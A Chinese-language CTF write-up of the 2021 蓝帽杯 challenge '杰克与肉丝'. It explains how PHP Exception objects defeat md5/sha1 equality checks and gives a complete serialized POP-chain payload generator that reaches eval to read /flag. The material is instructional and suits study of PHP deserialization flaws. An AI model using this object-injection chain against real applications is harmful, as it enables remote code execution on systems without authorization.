[2021 蓝帽杯]杰克与肉丝

本文介绍了一种利用PHP原生类Exception实现MD5与SHA1哈希值绕过的特殊技巧,并通过具体示例展示了如何在特定条件下使不同变量的哈希值相同,以此达到绕过安全检查的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前置知识:

原生类Exception绕过md5,sha1

先看看原生类Exception里面有什么:

<?php
var_dump($a=new Exception());

这里有个非常有意思的绕过md5和sh1的方法。

来看两个例子:

<?php

class Test{

public $var1;

public $var2;

function __destruct(){

if(md5($this->var1)===md5($this->var2))

{

echo "yes";

}

else{

echo "no";

}

}

}

$str="highlight_file('/flag');?>";

$var1=new Exception($str,1);$var2=new Exception($str,2);

var_dump(md5($var1));

var_dump(md5($var2));

$R = new Test();

$R->var1=$var1;

$R->var2=$var2;

//输出


<?php

class Test{

public $var1;

public $var2;

function __destruct(){

if(md5($this->var1)===md5($this->var2))

{

echo "yes";

}

else{

echo "no";

}

}

}

$str="highlight_file('/flag');?>";

$var1=new Exception($str,1);

$var2=new Exception($str,2);

var_dump(md5($var1));

var_dump(md5($var2));

$R = new Test();

$R->var1=$var1;

$R->var2=$var2;

输出:

这两段代码唯一的 区别就是:

$var1和$var2是否同行

如果同行的话,则md5值不相等。SHA1则同理。

解题

题目直接给出源码:

<?php
highlight_file(__file__);


class Jack
{
    private $action;


    function __set($a, $b)
    {
        $b->$a();

    }

}

class Love {

    public $var;
    function __call($a,$b)
    {
        $rose = $this->var;
        call_user_func($rose);
    }

    private function action(){
        echo "jack love rose";
    }

}
class Titanic{
    public $people;
    public $ship;
    function __destruct(){

        $this->people->action=$this->ship;
    }
}
class Rose{
    public $var1;
    public $var2;
    function __invoke(){
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
            eval($this->var1);
        }
    }
}

if(isset($_GET['love'])){
    $sail=$_GET['love'];
    unserialize($sail);
}
?>

链子的过程比较简单 ,难点在绕过md5那里,以前没有接触过。

还有要注意的就是从后往前赋值。其他没什么了(我下面标出了序号)

直接给出payload:

<?php


class Jack // 2
{
    private $action;


    function __set($a, $b)  // 给不存在赋值
    {

    }

}

class Love { // 3

    public $var;
    function __call($a,$b)  // 调用不存在方法或者不可访问方法
    {
		echo "Love";
        $rose = $this->var;
        call_user_func($rose);  // 可以触发__invoke
    }

}
class Titanic{ // 1
    public $people;
    public $ship;
    function __destruct(){ // 销毁变量
        $this->people->action=$this->ship;
    }
}
class Rose{ // 4
    public $var1;
    public $var2;
    function __invoke(){  // 对象调用为函数
		var_dump($this->var1);
		var_dump($this->var2);
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
			echo "yes";
			eval($this->var1);
        }
    }
}

$a=new Titanic();
$b=new Jack();
$c=new Love();
$d=new Rose();
$str="highlight_file('/flag');?>";  //需要执行的读取flag文件的命令
$var1=new Exception($str,1);$var2=new Exception($str,2);
$d->var1=$var1;
$d->var2=$var2;
$c->var=$d;
$a->people=$b;
$a->ship=$c;
echo urlencode(serialize($a));
?>

我没做出来的原因是没有从后往前赋值,要先对序号后面的值进行赋值,再引用前面的类。否则会返回赋值为空的报错。

生成的payload直接打就可以了:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值